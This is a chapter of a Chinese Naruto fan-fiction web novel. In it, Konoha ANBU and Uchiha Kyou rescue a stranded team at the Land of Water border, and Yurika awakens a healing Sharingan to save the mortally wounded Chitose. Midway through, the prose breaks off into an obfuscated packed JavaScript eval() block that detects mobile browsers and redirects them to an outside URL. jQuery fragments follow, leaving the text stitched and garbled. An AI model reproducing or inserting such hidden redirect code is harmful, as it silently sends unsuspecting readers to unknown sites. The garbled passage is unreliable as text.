41.第41章 我是否尽到了一个父亲的责任
作品:《宿命—无法改变的宇智波 忍校篇》 水之国边境
水之国边境密林,不知火玄间紧抿着唇,护着身旁的浅野,漩涡咲,海斗一众人快步穿行。一路出奇的顺遂,没有追兵,没有埋伏,全靠漩涡咲展开的感知能力,提前避开了所有明哨暗卡,他们悄无声息地逼近国境线,眼看再往前一步,便是脱离险境的地界。
可就在距国境线不足百米的开阔地带,几道身着水之国暗部制服的身影如磐石般守在路口,戒备森严,彻底堵死了前行的路。玄间心头一沉,下意识将这些孩子护到身后,指尖扣住了口中的千本,正思忖着硬闯的胜算——对方人数虽不多,却皆是精锐,以他们二人之力,突围难如登天。
就在这时,一声极轻的“咔嚓”声突兀地划破寂静。
漩涡咲脸色骤白,方才连日奔逃的疲惫早已绷断了她的神经,慌乱间竟不慎踩断了地上一截枯干的树枝。细弱的声响在死寂的林间被无限放大,瞬间吸引了所有暗部的视线!
“有人!”
暗部低喝一声,数道身影瞬间合围,冰冷的查克拉锁定了玄间等四人,杀气如实质般压得人喘不过气。玄间将千本横在身前,四人紧紧相靠,绝望飞速蔓延上来——寡不敌众,今日怕是要折在这里。
便在这生死一线的刹那,
一道漆黑的身影,竟如同从阴影里凭空跃出,没有半点征兆,没有丝毫查克拉波动,骤然落在暗部与四人之间。
那人身着黑袴、身姿挺拔,腰间左边悬两柄寒光凛冽的太刀,右手已然握住了其中一把的刀柄,漆黑的衣摆被林间的风轻轻掀起,仅一站定,一股凛冽如寒冬刀锋的气场便轰然散开,压得周遭空气都仿佛凝固。
是宇智波枭。
不等暗部反应过来,他身形已然动了。
快!快到只剩下一道模糊的黑芒!快到肉眼根本无法捕捉轨迹!快到暗部甚至来不及结印、来不及拔刀!
宇智波枭手腕轻旋,太刀出鞘的声音都被速度压缩成一声极淡的锐响,刀身如银虹贯空,却不见半分杀意——他只用刀背。
“嘭!嘭!嘭!嘭!”
四声沉闷的撞击声几乎连成一线,不过眨眼之间,四名合围的暗部连惨叫都未曾发出,便被精准击中后颈与肩颈要害,直挺挺地倒在地上,尽数晕厥,毫发无伤,却彻底失去了战力。
一招,四人。
没有多余的动作,仅凭纯粹到极致的剑术与速度,便将绝境轻松碾碎。
玄间瞳孔骤缩,海斗,浅野与漩涡咲更是惊得屏住了呼吸,四人怔怔地望着场中收刀的黑色身影,那柄太刀已然利落归鞘。宇智波枭垂眸扫过地上的暗部,语气平淡无波,却带着不容置疑的威严。
“碍事。”
良久,玄间才从极致的震撼中回过神,声音带着几分难以置信,脱口而出:
“枭大人?”
话音未落,密林后方骤然传来脚步声,数十名身着木叶便装暗部飞速赶来,身形利落,查克拉沉稳有序,显然是训练有素的精锐。
旗木卡卡西走在队伍后侧,银发遮眼,目光落在地上晕厥的水之国暗部,又看向场中负手而立的宇智波枭,语气里带着几分了然与叹服。
“枭大人的速度,还是那么快。”
队伍迅速散开,将现场护住,一名负责核验信息的木叶暗部上前一步,目光扫过玄间、浅野与漩涡咲,沉声核对:
“宇智波止水小队,两人。漩涡咲,上田海斗,不知火玄间小队…不知火玄间,浅野光。”
核对完毕,他站直身体,声音清晰有力:
“我们是木叶暗部,奉火影大人之命,前来解救。”
宇智波枭收刀归鞘的动作完成,锐利的目光便飞快扫过眼前紧绷的人群,视线在每张脸上逡巡,最终定格在空荡的队列里。
那瞬间的凝滞,比方才刀刃破空的风声更让人心沉。
他转身,黑色的衣摆扫过地上晕厥的暗部,带起一阵冷冽的风。
“千歲呢。”
不知火玄间猛地低下头,喉结剧烈滚动了一下,连日奔逃的疲惫此刻尽数化作锥心的自责,他几乎不成调:“是我的失误…在雾隐的关押室,突围时遭遇了伏击,队伍被冲散了。由里香、千歲还有止水,他们走了另一条通道。我们……没能汇合。”
每一个字落下,都像一块石头砸在人心底。空气瞬间凝固。
宇智波枭的脸彻底沉了下去,阴影下的眉眼看不清表情,唯有周身散发出的气压,正以肉眼可见的速度疯狂攀升。
那是一种极致的平静,平静到仿佛下一秒就要掀起惊涛骇浪。
旗木卡卡西见状,打破了这令人窒息的沉默。他抬手示意身后的暗部,语气沉稳,带着不容置疑的决断:“抽调三名暗部精英,护送伤员返回木叶。其余人等,随我潜入雾隐。”
卡卡西顿了顿,目光投向队伍中一名身着特殊制服的忍者,声音冷厉:“追踪队,马上展开感知术式,锁定止水等人的查克拉波动。”
「又是如此。」
宇智波枭带着无尽的疲惫与烦躁,像一根紧绷到极致的弦,骤然被拨断。
那股熟悉的躁动,再次将他淹没。
这感觉太熟悉了。和当年千手奏失踪时,一模一样。
那时他也是听着暗部人员徒劳的汇报,感觉整个世界都被抽走了色彩。耳边仿佛又响起妻子那日决绝的话语,冰冷又锋利,直插心脏——
“你从来没有尽到过一个父亲的责任。”
那句话,像一道无法愈合的伤疤,时刻刻在骨血里。明明已经过去那么久,此刻回想起来,却依旧清晰得仿佛就在昨天。
他深吸一口气,右手抚上腰间的太刀刀柄。那是他重新拾起的、唯一能给自己安全感的东西。
「如今的自己,已经没有什么好留恋的了。」
这句无声的呢喃,是说给逝去的妻子听,也是说给此刻摇摆不定的自己听。
宇智波枭抬眼,漆黑的眸子里只剩下决绝与坚定。他不再有丝毫犹豫,周身的气压瞬间收敛,化为一柄蓄势待发的刀。
“出发。”
简洁有力的两个字,在寂静的边境线上落下。
旗木卡卡西点头,一声令下:“行动!”
另一边,雾隐边境
鲜血浸透了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314483|198746||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
泥土,在止水脚下晕开。止水死死抱着千歲的身体,那柄贯穿她腹部的大刀还狰狞地插在伤口处,生命正以无法阻挡的速度从她体内流逝。
千歲的瞳孔失去了往日的光亮,一点点涣散、空洞,原本温热的身躯,正以令人心悸的速度变得冰冷、僵硬。
彻骨的绝望淹没了止水,四肢都在发麻,意识一片空白。
剧烈的悲痛与无力冲击着他的眼底,双眼不受控制地剧烈收缩——万花筒写轮眼开启,漆黑的纹路在血眸中展开,透着破碎般的绝望与狂暴。
他甚至不敢低头,不敢去确认怀中人最后的温度。
“你在干什么!快——帮我把她放平!
一声急促却异常坚定的呼喊猛地刺破死寂。
止水猛地回神,愕然看向身旁的由里香。
那一刻,他瞳孔骤缩。
由里香原本的双勾玉写轮眼,不知何时已彻底觉醒,化作了三勾玉。
明亮而稳定,没有慌乱,只有一种近乎孤注一掷的决绝。
“千歲……还有救!”
连由里香自己都不清楚,这份勇气究竟从何而来。她只是看着千岁即将熄灭的生命,心底有一股力量冲破了所有恐惧。
止水一震,像是被一道惊雷劈醒。
他机械地听从由里香的指令,颤抖着、小心翼翼地将千岁平放在地面,不敢有半分晃动——那柄贯穿腹部的刀依旧插在原处,两人都清楚,一旦贸然拔出,只会让她瞬间血崩。
就在此刻,由里香崭新的三勾玉写轮眼缓缓凝视着千岁的伤口。
她终于觉醒了那份只有写轮眼才能催动的、传承自母亲的特殊医疗忍术。
可眼前这样大范围的伤势,腹部几乎被全部贯穿,就算是木叶最顶级的医疗忍术,也难以修复。
可,她的母亲,宇智波仁美的话,说不定能做到。
以瞳力直视细胞层次,看清血管、神经、肌肉的每一寸断裂与走向,再以精密查克拉强行连接、修复、再生——这是在高端外科医疗中近乎奇迹的手法,是她从小看着母亲施展、却从未亲手实践过的医疗忍术。
她没有把握,甚至连理论都算不上熟练。
可现在,没有退路。
“止水,我知道你现在脑子一片空白……接受不了眼前的一切。”
由里香迅速从忍具包中翻出简易的医疗器具,指尖因紧张而发抖,语气却越来越稳,“但是,就算只有万分之一的希望,我…不会放弃。”
止水的心脏狠狠一缩。
刹那间,千歲方才虚弱却坚定的声音,清晰地回荡在他脑海里——
“我认识的止水,绝对不是一个轻易放弃的人。”
是啊,他不知道怎么了,从前无所畏惧的宇智波止水,如今却像个胆小鬼一样,被两个女孩子所护在身后。
止水猛地回神,他攥紧拳头,声音沙哑却带着重新燃起的坚定:“由里香……你有办法?”
由里香深吸一口气,三勾玉写轮眼稳稳锁定千岁的伤口,没有丝毫退缩。
“嗯。我不确定能不能成功……但有一赌的价值。”

